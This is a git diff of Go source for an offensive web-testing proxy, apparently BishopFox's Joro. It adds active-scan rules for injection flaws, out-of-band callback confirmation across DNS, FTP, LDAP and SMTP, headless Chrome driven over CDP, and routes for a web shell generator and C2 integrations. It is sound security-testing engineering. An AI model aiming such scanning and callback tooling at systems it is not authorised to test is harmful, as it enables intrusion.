mux.HandleFunc("GET /api/v1/sitemap/params", s.handleGetSitemapParams)
// HTTP history
mux.HandleFunc("GET /api/v1/requests", s.handleListRequests)
mux.HandleFunc("GET /api/v1/requests/{id}", s.handleGetRequest)
mux.HandleFunc("GET /api/v1/requests/{id}/params", s.handleGetRequestParams)
mux.HandleFunc("DELETE /api/v1/requests", s.handleClearRequests)
mux.HandleFunc("DELETE /api/v1/requests/by-host", s.handleDeleteRequestsByHost)
// Intercept
mux.HandleFunc("GET /api/v1/intercept", s.handleGetInterceptQueue)
@@ -108,6 +114,8 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
mux.HandleFunc("GET /api/v1/fuzzer/wordlists", s.handleFuzzerListWordlists)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist/preview", s.handleFuzzerPreviewSource)
// API description documents (the SJ tab). Loads a Swagger/OpenAPI document,
// renders each operation to raw bytes, and drives scans, auth-profile
@@ -167,6 +175,20 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("POST /api/v1/chain/runs/{id}/stop", s.handleChainStopRun)
mux.HandleFunc("DELETE /api/v1/chain/runs/{id}", s.handleChainDeleteRun)
// Active scanning. Operator-initiated rules that drive a target and file
// findings into Detect; DOM XSS is the first. Scope-respecting (a scan with
// scope off is never rejected), proxy-mode only, one run at a time.
mux.HandleFunc("GET /api/v1/activescan/rules", s.handleActiveScanRules)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/enabled", s.handleSetActiveScanRuleEnabled)
mux.HandleFunc("GET /api/v1/activescan/rules/{id}/signatures", s.handleActiveScanSignatures)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/enabled", s.handleSetActiveScanSignaturesBulk)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/{itemId}/enabled", s.handleSetActiveScanSignatureEnabled)
mux.HandleFunc("POST /api/v1/activescan/runs", s.handleActiveScanStart)
mux.HandleFunc("GET /api/v1/activescan/runs", s.handleActiveScanListRuns)
mux.HandleFunc("GET /api/v1/activescan/runs/{id}", s.handleActiveScanGetRun)
mux.HandleFunc("POST /api/v1/activescan/runs/{id}/stop", s.handleActiveScanStopRun)
mux.HandleFunc("DELETE /api/v1/activescan/runs/{id}", s.handleActiveScanDeleteRun)
// Passive detection. Unlike the other rule collections below, detect rules
// have a PUT (a rule's ID is referenced by every finding it produced) and a
// test endpoint.
@@ -191,6 +213,37 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/detect/scan", s.handleGetDetectScan)
mux.HandleFunc("POST /api/v1/detect/scan/cancel", s.handleCancelDetectScan)
// Reflection mapping (the Echo tab). Records every value a request sent and
// every place it comes back in the response, with the transform it came back
// through and the context it landed in.
//
// UI-only, like the blocks above, though it sends nothing at all: the map is
// a read of captured traffic. It stays off the capability surface because a
// row names a parameter and its value, which is where an application puts
// session tokens and personal data, and a token that could enumerate the map
// would be reading every credential that crossed the proxy.
mux.HandleFunc("GET /api/v1/echo", s.handleGetEcho)
mux.HandleFunc("PUT /api/v1/echo/enabled", s.handleSetEchoEnabled)
mux.HandleFunc("GET /api/v1/echo/config", s.handleGetEchoConfig)
mux.HandleFunc("PUT /api/v1/echo/config", s.handleSetEchoConfig)
mux.HandleFunc("GET /api/v1/echo/params", s.handleListEchoParams)
mux.HandleFunc("GET /api/v1/echo/params/{id}", s.handleGetEchoParam)
mux.HandleFunc("GET /api/v1/echo/requests/{requestId}", s.handleGetEchoRequest)
mux.HandleFunc("DELETE /api/v1/echo/data", s.handleClearEcho)
mux.HandleFunc("POST /api/v1/echo/scan", s.handleStartEchoScan)
mux.HandleFunc("GET /api/v1/echo/scan", s.handleGetEchoScan)
mux.HandleFunc("POST /api/v1/echo/scan/cancel", s.handleCancelEchoScan)
// Technology fingerprinting (the embedded Wappalyzer database). UI-only, like
// echo: a passive read of captured traffic that names the stack each host
// serves, which the active-scan rule reads to gate its checks.
mux.HandleFunc("GET /api/v1/tech/hosts", s.handleListTechHosts)
mux.HandleFunc("GET /api/v1/tech/hosts/{host}", s.handleGetTechHost)
mux.HandleFunc("PUT /api/v1/tech/enabled", s.handleSetTechEnabled)
mux.HandleFunc("POST /api/v1/tech/scan", s.handleStartTechScan)
mux.HandleFunc("GET /api/v1/tech/scan", s.handleGetTechScan)
mux.HandleFunc("POST /api/v1/tech/scan/cancel", s.handleCancelTechScan)
// Web shell generator
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
@@ -214,12 +267,14 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/replace", s.handleGetReplace)
mux.HandleFunc("PUT /api/v1/replace/enabled", s.handleSetReplaceEnabled)
mux.HandleFunc("POST /api/v1/replace/rules", s.handleAddReplaceRule)
mux.HandleFunc("PUT /api/v1/replace/rules/{id}/enabled", s.handleSetReplaceRuleEnabled)
mux.HandleFunc("DELETE /api/v1/replace/rules/{id}", s.handleDeleteReplaceRule)
// Custom Data
mux.HandleFunc("GET /api/v1/customdata", s.handleGetCustomData)
mux.HandleFunc("PUT /api/v1/customdata/enabled", s.handleSetCustomDataEnabled)
mux.HandleFunc("POST /api/v1/customdata/items", s.handleAddCustomDataItem)
mux.HandleFunc("PUT /api/v1/customdata/items/{id}/enabled", s.handleSetCustomDataItemEnabled)
mux.HandleFunc("DELETE /api/v1/customdata/items/{id}", s.handleDeleteCustomDataItem)
// Config save/load
@@ -373,6 +428,13 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("POST /api/v1/webhooks/{id}/test", s.handleTestWebhook)
mux.HandleFunc("GET /api/v1/webhooks/{id}/deliveries", s.handleListWebhookDeliveries)
// Threat-intel feeds. Registered unconditionally and gated on requireFeeds, for the same
// SPA-catch-all reason as the block above. UI-only, proxy-mode only (nil in listener mode).
mux.HandleFunc("GET /api/v1/feeds", s.handleGetFeeds)
mux.HandleFunc("POST /api/v1/feeds/refresh", s.handleRefreshFeeds)
mux.HandleFunc("GET /api/v1/feeds/settings", s.handleGetFeedsSettings)
mux.HandleFunc("PUT /api/v1/feeds/settings", s.handleSetFeedsSettings)
// Plugin routes (dynamic, based on loaded plugins).
registerPluginRoutes(s, mux)
}
+94
View File
@@ -15,6 +15,16 @@ import (
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/cmdi"
"github.com/BishopFox/joro/internal/activescan/domxss"
"github.com/BishopFox/joro/internal/activescan/openredirect"
"github.com/BishopFox/joro/internal/activescan/pathtraversal"
"github.com/BishopFox/joro/internal/activescan/reflectedxss"
"github.com/BishopFox/joro/internal/activescan/sqli"
"github.com/BishopFox/joro/internal/activescan/ssti"
"github.com/BishopFox/joro/internal/activescan/templatesig"
"github.com/BishopFox/joro/internal/anomaly"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/automation"
"github.com/BishopFox/joro/internal/callback"
@@ -25,17 +35,21 @@ import (
"github.com/BishopFox/joro/internal/config"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/feeds"
"github.com/BishopFox/joro/internal/fuzzer"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/mcp"
"github.com/BishopFox/joro/internal/mythic"
"github.com/BishopFox/joro/internal/notes"
"github.com/BishopFox/joro/internal/oast"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/sliver"
"github.com/BishopFox/joro/internal/team"
"github.com/BishopFox/joro/internal/techfp"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/update"
"github.com/BishopFox/joro/internal/webhook"
@@ -118,12 +132,38 @@ type APIServer struct {
chainStore *chain.Store
chainRuns *chainrun.Store
// Active scanning: operator-initiated rules that drive a target and file
// findings into the shared detect store. Both are nil in listener/team mode
// (the routes are proxy-mode only); runs are session state cleared on a
// project switch, and the registry is the rule set the host offers.
activeScans *activescan.Store
activeScanRules *activescan.Registry
// Passive detection. All three are nil in listener and team-server mode; the
// detect routes are gated on proxy mode in registerRoutes, so only the shared
// config paths need nil guards.
detectEngine *detect.Engine
detectFindings *detect.Store
detectScanner *detect.Scanner
anomalyEngine *anomaly.Engine
// Reflection mapping (the Echo tab). The map is session state and is
// rebuilt by a rescan, for the reason SJ's stores are: it is derived from
// history and holds no triage of its own. Only its config travels with the
// project, and only a breakout reaches detectFindings. See internal/echo.
echoEngine *echo.Engine
echoStore *echo.Store
// Passive technology fingerprinting (the embedded Wappalyzer database). Nil
// outside proxy mode. The active-scan signature rule reads its store to run
// only the checks a host's stack warrants. See internal/techfp.
techEngine *techfp.Engine
// Out-of-band confirmation: correlates the callback server's response hash
// back into captured traffic and mints confirmed CategoryOOB findings. Nil
// outside proxy mode. See internal/oast.
oastEngine *oast.Engine
// detectCtx is the server-lifetime context, so a rescan job can outlive the
// HTTP request that started it. Guarded by mu.
detectCtx context.Context
@@ -175,6 +215,15 @@ type APIServer struct {
webhookDeliver *webhook.Deliverer
webhookDispatch *webhook.Dispatcher
// Threat-intelligence feeds. Independent of automation and of webhooks: a curated,
// read-only aggregator (NVD / CISA KEV / advisory headlines) the dashboard renders.
// Both nil under --no-feeds, in listener mode, or when feeds.json could not be read.
// feedsCtx is the server-lifetime context so a refresh kicked from a handler outlives
// the request; set once in startFeedsLoop before serving. See feeds_wire.go.
feeds *feeds.Aggregator
feedsStore *feeds.SettingsStore
feedsCtx context.Context
buildInfo BuildInfo
cancelFunc context.CancelFunc
restart bool
@@ -195,6 +244,9 @@ type APIServer struct {
settings Settings
activeUserConfig string
activeProjectConfig string
// oastDomain is the callback domain the OAST confirmer harvests tokens under,
// seeded from --domain and best-effort refreshed from the listener. Guarded by mu.
oastDomain string
lastSaveSig string // fingerprint of live state at last save (auto-save skip)
// pendingUserPluginStates / pendingProjectPluginStates preserve plugin
@@ -269,6 +321,7 @@ func New(
specRuns: apiscan.NewStore(),
chainStore: chain.NewStore(),
chainRuns: chainrun.NewStore(),
activeScans: activescan.NewStore(),
pluginManager: pluginManager,
detectEngine: detectEngine,
@@ -294,11 +347,49 @@ func New(
DisableUpdateChecks: cfg.DisableUpdateChecks,
},
}
// Anomaly analysis writes into the same findings store as detect, but computes
// per-host baselines the detect engine's stateless scan path cannot. Built here
// so it can read the live detect config every cycle and push the shared summary.
s.anomalyEngine = anomaly.NewEngine(
store, scope, detectFindings,
detectEngine.Config, hub.Broadcast(), s.broadcastDetectSummary)
// Reflection mapping writes into the same findings store, and for the same
// reason is built here: it needs the shared summary push.
s.echoStore = echo.NewStore(0)
s.echoEngine = echo.NewEngine(
s.echoStore, store, scope, detectFindings,
hub.Broadcast(), s.broadcastDetectSummary)
// Passive technology fingerprinting over the same capture store. Built here so
// it rides the one cursor-reset path (resetDetectCursor) the other passive
// analyzers use.
s.techEngine = techfp.NewEngine(techfp.NewStore(), store, hub.Broadcast())
// Out-of-band confirmer. Writes into the same findings store; built here so it
// rides the one cursor-reset path and pushes the shared summary. The token DB
// lives in the listener process, so it harvests expected hashes from captured
// callback hostnames under oastDomain (from --domain or refreshed later).
s.oastDomain = cfg.CallbackDomain
s.oastEngine = oast.NewEngine(
store, detectFindings, s.callbackDomainForOAST,
hub.Broadcast(), s.broadcastDetectSummary)
// Active-scan rule set. The registry is built here (not a package global, per
// the no-globals rule) so the api layer can import both activescan and its
// rules without an import cycle.
s.activeScanRules = activescan.NewRegistry()
s.activeScanRules.Register(domxss.New())
s.activeScanRules.Register(templatesig.New())
// Injection-fuzzing rules (parameter mutation + differential/timing/OAST).
s.activeScanRules.Register(reflectedxss.New())
s.activeScanRules.Register(sqli.New())
s.activeScanRules.Register(ssti.New())
s.activeScanRules.Register(cmdi.New())
s.activeScanRules.Register(openredirect.New())
s.activeScanRules.Register(pathtraversal.New())
// Both stores are built here rather than in SetAutomation, because both outlive
// automation: a webhook references a trigger, and neither needs an agent to be useful.
// See initTriggers for why the trigger store moved out of newScriptManager.
s.initTriggers()
s.initWebhooks()
s.initFeeds()
return s
}
@@ -410,6 +501,9 @@ func (s *APIServer) Start(ctx context.Context) error {
// No-ops entirely under --no-webhooks. Started after automation so the run
// watcher startScriptTriggers registers is already in place.
s.startWebhooks(ctx)
// No-ops entirely under --no-feeds. Fetches nothing until the operator enables
// feeds in Settings or on the Dashboard.
s.startFeedsLoop(ctx)
}
// Serve frontend (skip in listener mode - listener is API-only).
+42
View File
@@ -148,6 +148,48 @@ func LooksLikeHTMLDocument(body []byte) bool {
strings.Contains(lower, "<head")
}
// docUIMarkers name the API-documentation UI frameworks that embed or reference
// the document they render, each by strings unambiguous enough that an ordinary
// web page never carries them. Order is match priority; the Swagger entry leads
// because it is far and away the common case. The Swagger bundle names overlap
// uiBundleNames on purpose — the same scripts that are skipped when hunting for
// an embedded document are what positively identify the page as Swagger UI.
var docUIMarkers = []struct {
label string
markers []string
}{
{"Swagger UI", []string{
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui.css",
"swaggeruibundle", `id="swagger-ui"`, "id='swagger-ui'",
"swagger-ui-init", "<title>swagger ui",
}},
{"ReDoc", []string{"redoc.standalone", "<redoc", "redoc.init("}},
{"RapiDoc", []string{"<rapi-doc", "rapidoc-min.js"}},
{"Stoplight Elements", []string{"<elements-api", "@stoplight/elements"}},
{"Scalar", []string{"scalar.min.js", "@scalar/api-reference"}},
}
// DetectDocUI reports which API-documentation UI framework an HTML page is, or
// "" if it is just an HTML page. A doc UI embeds or names the document it loads,
// so naming it turns the most common load failure into the next action; a plain
// page must not be mislabelled as one.
func DetectDocUI(body []byte) string {
// Bound the scan: these markers sit in the page head, near the top.
window := body
if len(window) > 64<<10 {
window = window[:64<<10]
}
lower := strings.ToLower(string(window))
for _, ui := range docUIMarkers {
for _, m := range ui.markers {
if strings.Contains(lower, m) {
return ui.label
}
}
}
return ""
}
var (
// specKeyRe matches a "url:" / "configUrl:" / "specUrl:" assignment, which is
// how a Swagger UI page names the document it loads.
+83 -26
View File
@@ -57,9 +57,10 @@ type Auth struct {
// RenderOptions tunes one render.
type RenderOptions struct {
// UserAgent is sent as-is. Empty means DefaultUserAgent, and a User-Agent
// the operator named through an auth profile or an "in: header" parameter
// outranks both — the request carries exactly one either way.
// UserAgent is one rung of the ladder Render resolves, most specific first:
// an auth profile, a value the operator typed for a declared "in: header"
// parameter, this, the document's generated placeholder, DefaultUserAgent.
// The request carries exactly one whatever happens.
UserAgent string
// Accept defaults to a permissive value when empty.
@@ -93,6 +94,9 @@ const defaultAccept = "application/json, text/plain, */*"
// advertises a Go program to the target while showing the operator nothing,
// which is the one combination worth ruling out: a rendered request is only
// trustworthy if it is what leaves the machine.
//
// So a named User-Agent that writeHeader would drop, or that net/http would
// strip as blank, does not count as named — see usableUA.
const DefaultUserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
// UserAgentOr returns ua when it is usable as a header value and
@@ -103,12 +107,64 @@ const DefaultUserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/5
// Routing an operator-supplied value through here is what keeps a newline in one
// from splitting the header block.
func UserAgentOr(ua string) string {
if ua != "" && validHeaderValue(ua) {
return ua
if v := usableUA(ua); v != "" {
return v
}
return DefaultUserAgent
}
// isUserAgent reports whether name is the User-Agent header, however spelled.
// A document chooses that spelling, not Joro, so this is case- and
// space-insensitive.
func isUserAgent(name string) bool {
return strings.EqualFold(strings.TrimSpace(name), "User-Agent")
}
// usableUA returns value when it will survive both writeHeader and net/http's
// own serialization, and "" otherwise.
//
// Blank and invalid are as good as unnamed: treating either as named suppresses
// DefaultUserAgent, and the request then reaches the target carrying no
// User-Agent at all or net/http's own.
func usableUA(value string) string {
if strings.TrimSpace(value) == "" || !validHeaderValue(value) {
return ""
}
return value
}
// firstUsableUA picks the first candidate that will reach the wire intact,
// which is how the rungs of the ladder fall through to one another, and
// DefaultUserAgent is the floor none of them can drop past.
func firstUsableUA(candidates ...string) string {
for _, c := range candidates {
if v := usableUA(c); v != "" {
return v
}
}
return DefaultUserAgent
}
// authUserAgent returns the usable User-Agent a profile names, or "". The two
// loops are in applyAuth's order, so last-wins agrees with dedupeHeaders.
func authUserAgent(auth Auth) string {
ua := ""
for _, c := range auth.Credentials {
if c.Kind != AuthAPIKey || c.In == InQuery || c.In == InCookie {
continue
}
if c.Name != "" && c.Value != "" && isUserAgent(c.Name) && validHeaderName(c.Name) {
ua = usableUA(c.Value)
}
}
for _, h := range auth.Headers {
if isUserAgent(h.Name) && validHeaderName(h.Name) {
ua = usableUA(h.Value)
}
}
return ua
}
// Render builds the raw HTTP/1.1 bytes for one operation.
//
// These bytes are the executable truth. The Spec is the editing document, and
@@ -144,6 +200,11 @@ func Render(op *Operation, srv Server, vals Values, auth Auth, opts RenderOption
headers := make([]Header, 0, len(op.Params)+8)
cookies := make([]Cookie, 0, 4)
// The two document-side rungs of the User-Agent ladder, filled below: what
// the operator typed for a declared parameter, and the placeholder the
// parser generated for one.
var typedUA, docUA string
// Exploded object properties are regrouped so the style can be honored: the
// three forms below are three different requests, and which one the server
// accepts is not negotiable.
@@ -188,7 +249,15 @@ func Render(op *Operation, srv Server, vals Values, auth Auth, opts RenderOption
}
queryPairs = append(queryPairs, renderScalarQuery(prm, raw, key, mark)...)
case InHeader:
headers = append(headers, Header{Name: prm.Name, Value: mark(key, raw)})
value := mark(key, raw)
if isUserAgent(prm.Name) && validHeaderName(prm.Name) {
if overridden {
typedUA = usableUA(value)
} else {
docUA = usableUA(value)
}
}
headers = append(headers, Header{Name: prm.Name, Value: value})
case InCookie:
cookies = append(cookies, Cookie{Name: prm.Name, Value: mark(key, raw)})
}
@@ -204,6 +273,10 @@ func Render(op *Operation, srv Server, vals Values, auth Auth, opts RenderOption
// placeholder for the same name.
headers, queryPairs, cookies = applyAuth(auth, headers, queryPairs, cookies)
// Resolved here rather than at the write site so there is one answer, and
// one place to read the precedence off.
userAgent := firstUsableUA(authUserAgent(auth), typedUA, opts.UserAgent, docUA)
target := path
if len(queryPairs) > 0 {
target += "?" + strings.Join(queryPairs, "&")
@@ -225,9 +298,7 @@ func Render(op *Operation, srv Server, vals Values, auth Auth, opts RenderOption
buf.WriteString(op.Method + " " + target + " HTTP/1.1\r\n")
writeHeader(&buf, "Host", host)
if !hasUserAgent(headers) {
writeHeader(&buf, "User-Agent", UserAgentOr(opts.UserAgent))
}
writeHeader(&buf, "User-Agent", userAgent)
accept := opts.Accept
if accept == "" {
accept = defaultAccept
@@ -235,7 +306,9 @@ func Render(op *Operation, srv Server, vals Values, auth Auth, opts RenderOption
writeHeader(&buf, "Accept", accept)
for _, h := range headers {
if reservedHeader(h.Name) {
// User-Agent is skipped because it was resolved and written above; a
// second line here is what the ladder exists to prevent.
if reservedHeader(h.Name) || isUserAgent(h.Name) {
continue
}
writeHeader(&buf, h.Name, h.Value)
@@ -664,22 +737,6 @@ func validHeaderValue(v string) bool {
return true
}
// hasUserAgent reports whether the operator already named one, through an auth
// profile's extra headers or a document's own "in: header" parameter.
//
// Both land in the same slice, which applyAuth appends to without deduping and
// writeHeader emits without case-folding — so this check is what makes a named
// User-Agent an override rather than a second header line. It is deliberately
// case- and space-insensitive: a document chooses that spelling, not Joro.
func hasUserAgent(headers []Header) bool {
for _, h := range headers {
if strings.EqualFold(strings.TrimSpace(h.Name), "User-Agent") {
return true
}
}
return false
}
// buildCookieHeader folds every cookie into one header.
//
// Values are not percent-encoded wholesale — that would corrupt a legitimate
+100 -10
View File
@@ -7,6 +7,7 @@ import (
"crypto/x509"
"encoding/base64"
"fmt"
"net"
"os"
"os/exec"
"path/filepath"
@@ -106,6 +107,11 @@ type LaunchOptions struct {
ProfileDir string
URL string
WipeOnExit bool // remove ProfileDir once the browser process exits
// RemoteDebugPort and Headless apply only to LaunchControlled. A zero port
// means allocate a free one.
RemoteDebugPort int
Headless bool
}
// Launch starts the browser detached, routing all traffic through the proxy and
@@ -118,18 +124,10 @@ func Launch(opts LaunchOptions) error {
if target == "" {
target = "about:blank"
}
args := []string{
"--proxy-server=http://" + opts.ProxyAddr,
"--proxy-bypass-list=<-loopback>", // route loopback targets through the proxy too
"--user-data-dir=" + opts.ProfileDir, // the SPKI flag is only honored when a user-data-dir is set
"--ignore-certificate-errors-spki-list=" + opts.SPKIFingerprint,
"--test-type", // suppresses the unsupported-command-line-flag infobar; does not alter cert validation
"--no-first-run",
"--no-default-browser-check",
"--new-window",
args := append(baseArgs(opts), "--new-window",
// The URL must be last: Chrome treats the first non-switch arg as a URL.
target,
}
)
cmd := exec.Command(opts.BrowserPath, args...)
if err := cmd.Start(); err != nil {
@@ -151,6 +149,98 @@ func Launch(opts LaunchOptions) error {
return cmd.Process.Release()
}
// baseArgs builds the launch flags shared by the interactive and controlled
// launches: route everything through the proxy, trust only the pinned SPKI, and
// keep a private profile. The URL, if any, must be appended last by the caller —
// Chrome treats the first non-switch arg as a URL.
func baseArgs(opts LaunchOptions) []string {
return []string{
"--proxy-server=http://" + opts.ProxyAddr,
"--proxy-bypass-list=<-loopback>", // route loopback targets through the proxy too
"--user-data-dir=" + opts.ProfileDir, // the SPKI flag is only honored when a user-data-dir is set
"--ignore-certificate-errors-spki-list=" + opts.SPKIFingerprint,
"--test-type", // suppresses the unsupported-command-line-flag infobar; does not alter cert validation
"--no-first-run",
"--no-default-browser-check",
}
}
// Session is a controlled browser the caller drives over CDP and must tear down.
// Unlike Launch, the process handle is retained so DebugPort can be dialled and
// Kill can stop it.
type Session struct {
cmd *exec.Cmd
ProfileDir string
DebugPort int
}
// LaunchControlled starts a headless browser with a loopback DevTools endpoint
// and returns a handle to it. The profile is NOT wiped here — the caller owns
// the session and wipes via Kill — and the process is not released, so Kill can
// stop it when the scan is done or cancelled.
//
// It is the active-scan path: a dedicated instance that never touches the
// operator's interactive browser or its persistent profile. CDP's injection
// runs before any page script and is not subject to the page's CSP, which is why
// a scan can instrument a target the proxy could never inject into.
func LaunchControlled(opts LaunchOptions) (*Session, error) {
if err := os.MkdirAll(opts.ProfileDir, 0700); err != nil {
return nil, err
}
port := opts.RemoteDebugPort
if port == 0 {
p, err := freePort()
if err != nil {
return nil, fmt.Errorf("allocate debug port: %w", err)
}
port = p
}
args := baseArgs(opts)
args = append(args,
fmt.Sprintf("--remote-debugging-port=%d", port),
"--remote-debugging-address=127.0.0.1",
"--remote-allow-origins=*", // required by modern Chrome to accept a CDP WebSocket
"--disable-gpu",
"--disable-background-networking",
)
if opts.Headless {
args = append(args, "--headless=new")
}
// A controlled session drives navigation over CDP, so it opens on a blank
// page rather than a start URL.
args = append(args, "about:blank")
cmd := exec.Command(opts.BrowserPath, args...)
if err := cmd.Start(); err != nil {
return nil, err
}
return &Session{cmd: cmd, ProfileDir: opts.ProfileDir, DebugPort: port}, nil
}
// Kill stops the browser and, when wipe is set, removes its profile directory.
func (s *Session) Kill(wipe bool) {
if s.cmd != nil && s.cmd.Process != nil {
_ = s.cmd.Process.Kill()
_ = s.cmd.Wait()
}
if wipe && s.ProfileDir != "" && !profileInUse(s.ProfileDir) {
_ = os.RemoveAll(s.ProfileDir)
}
}
// freePort asks the OS for an unused loopback TCP port. There is a small window
// between closing the listener and the browser binding the port, acceptable for
// a single local launch.
func freePort() (int, error) {
l, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return 0, err
}
defer l.Close()
return l.Addr().(*net.TCPAddr).Port, nil
}
// profileInUse reports whether a Chromium instance still holds the profile's
// singleton lock (SingletonLock on Unix, lockfile on Windows).
func profileInUse(profileDir string) bool {
+9
View File
@@ -91,6 +91,15 @@ func (d *DNSServer) handleDNS(w dns.ResponseWriter, r *dns.Msg) {
log.Printf("callback dns: record interaction: %v", err)
}
d.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
// A correlated TXT query is answered with the token's response hash, so
// an OAST client can validate a hit via a plain TXT lookup.
if q.Qtype == dns.TypeTXT {
msg.Answer = append(msg.Answer, &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 60},
Txt: []string{ResponseHash(token.Token)},
})
}
}
// Respond with A record for A queries
+7 -1
View File
@@ -163,7 +163,13 @@ func (s *FTPServer) handleConnection(conn net.Conn, implicitTLS bool) {
case "USER":
sess.user = rest
sess.sawUser = true
s.writeLine(rw, sess, "331 Password required")
// When the username carries a token, echo its response hash in the reply
// so an OAST client can validate the hit from the USER exchange alone.
reply := "331 Password required"
if tok, err := CorrelateAny(s.store, rest); err == nil {
reply += " " + ResponseHash(tok.Token)
}
s.writeLine(rw, sess, reply)
case "PASS":
sess.pass = rest
s.writeLine(rw, sess, "230 Login successful")
+4 -1
View File
@@ -147,8 +147,11 @@ func (h *HTTPServer) handle(w http.ResponseWriter, r *http.Request) {
}
h.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
// The correlated response is sha256(token), a value a probe can predict and
// confirm (see ResponseHash). A miss returns the generic marker below, with no
// token to hash — so an unknown probe still cannot use the body as an oracle.
w.WriteHeader(http.StatusOK)
fmt.Fprintln(w, "79cb7b990dd6d0d8eac756c92ccc04b6")
fmt.Fprintln(w, ResponseHash(token.Token))
}
func (h *HTTPServer) handleXSS(w http.ResponseWriter, r *http.Request) {
+22 -5
View File
@@ -198,7 +198,7 @@ func (s *LDAPServer) handleMessage(conn net.Conn, sess *ldapSession, msg []byte)
sess.bindDN = string(name)
sess.gotOp = true
}
s.writeResponse(conn, idBytes, ldapBindResponse)
s.writeResponse(conn, idBytes, ldapBindResponse, s.responseHashFor(sess))
return false
case ldapSearchRequest:
@@ -208,7 +208,7 @@ func (s *LDAPServer) handleMessage(conn net.Conn, sess *ldapSession, msg []byte)
sess.searchBase = string(base)
sess.gotOp = true
}
s.writeResponse(conn, idBytes, ldapSearchDone)
s.writeResponse(conn, idBytes, ldapSearchDone, s.responseHashFor(sess))
return false
case ldapUnbindRequest:
@@ -223,15 +223,32 @@ func (s *LDAPServer) handleMessage(conn net.Conn, sess *ldapSession, msg []byte)
// writeResponse builds and sends a minimal success LDAPMessage echoing the
// given messageID INTEGER value. opTag is ldapBindResponse or ldapSearchDone.
func (s *LDAPServer) writeResponse(conn net.Conn, idBytes []byte, opTag byte) {
// LDAPResult: resultCode=success(0), matchedDN="", diagnosticMessage="".
resultBody := []byte{0x0A, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00}
// diag, when non-empty, is placed in the diagnosticMessage field — the token's
// response hash on a correlated request, which an OAST client can read there.
func (s *LDAPServer) writeResponse(conn net.Conn, idBytes []byte, opTag byte, diag string) {
// LDAPResult: resultCode=success(0), matchedDN="", diagnosticMessage=diag.
resultBody := []byte{0x0A, 0x01, 0x00, 0x04, 0x00}
resultBody = append(resultBody, ber(berOctetString, []byte(diag))...)
op := ber(opTag, resultBody)
inner := append(ber(berInteger, idBytes), op...)
msg := ber(berSequence, inner)
conn.Write(msg) //nolint:errcheck
}
// responseHashFor returns the response hash to place in an LDAP result's
// diagnosticMessage when the request correlates to a token, or "" when none does.
// It mirrors record's candidate order (search base, bind DN, then the raw bytes).
func (s *LDAPServer) responseHashFor(sess *ldapSession) string {
tok, err := CorrelateAny(s.store,
sess.searchBase, sess.bindDN,
hex.EncodeToString(sess.raw.Bytes()),
)
if err != nil {
return ""
}
return ResponseHash(tok.Token)
}
// record correlates and stores the session. Runs once via defer; no-ops if no
// bind/search was seen or no token correlates.
func (s *LDAPServer) record(conn net.Conn, sess *ldapSession) {
+14 -5
View File
@@ -192,8 +192,13 @@ func (s *SMTPServer) handleConnection(conn net.Conn, implicitTLS bool) {
if err != nil {
return
}
s.recordMessage(conn, sess, data)
s.writeLine(rw, sess, "250 OK queued")
queued := "250 OK queued"
if tok := s.recordMessage(conn, sess, data); tok != nil {
// A correlated recipient gets the token's response hash in the reply,
// a protocol-legal field an OAST client can read to validate the hit.
queued += " " + ResponseHash(tok.Token)
}
s.writeLine(rw, sess, queued)
sess.from, sess.rcpts = "", nil
case "RSET":
sess.from, sess.rcpts = "", nil
@@ -265,7 +270,10 @@ func (s *SMTPServer) writeLines(rw *bufio.ReadWriter, sess *smtpSession, lines [
rw.Flush() //nolint:errcheck
}
func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte) {
// recordMessage correlates the session's recipients to a token, records the
// interaction, and returns the matched token (nil if none) so the caller can
// echo its response hash in the queued-OK reply.
func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte) *Token {
cfg, _ := s.store.GetConfig()
domain := cfg.Domain
@@ -279,7 +287,7 @@ func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte
}
}
if token == nil {
return
return nil
}
var hdrFrom, hdrTo, hdrSubject, body string
@@ -322,9 +330,10 @@ func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte
}
if err := s.store.RecordInteraction(interaction); err != nil {
log.Printf("callback smtp: record interaction: %v", err)
return
return nil
}
s.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
return token
}
